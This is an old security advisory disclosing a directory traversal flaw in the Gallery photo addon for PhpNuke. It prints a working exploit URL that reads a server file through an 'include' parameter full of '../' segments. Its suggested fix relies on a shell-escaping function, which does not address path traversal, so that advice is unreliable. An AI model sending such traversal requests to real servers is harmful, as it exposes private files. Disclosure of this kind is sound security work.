Gallery Addon for PhpNuke remote file viewing vulnerability

Problem discovered: 18/10/2001 by Cabezon Aurélien |
aurelien.cabezon@iSecureLabs.com

[1] Description

Gallery is an intuitive web based photo gallery with authenticated users and
privileged albums.
Photo management includes automatic thumbnails, resizing, rotation, etc.
Gallery is available as a Nuke 5.0 module.

Gallery Addon is vulnerable to the ../.. bug that allow remote file reading
on the web server as whatever
user runs the web server.

[2] Exploit

http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&
name=gallery&file=index&inclu
de=../../../../../../etc/hosts

[3] Fix

Coder has been alerted.
An easy way to fix such a vulnerability is to use the PHP included "system
escapeshell" function.

[4] Informations bout Gallery Addon for PhpNuke

http://www.menalto.com/projects/gallery-nuke/
Author: bharat@menalto.com

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Cabezon Aurélien
http://www.iSecureLabs.com
aurelien.cabezon@iSecureLabs.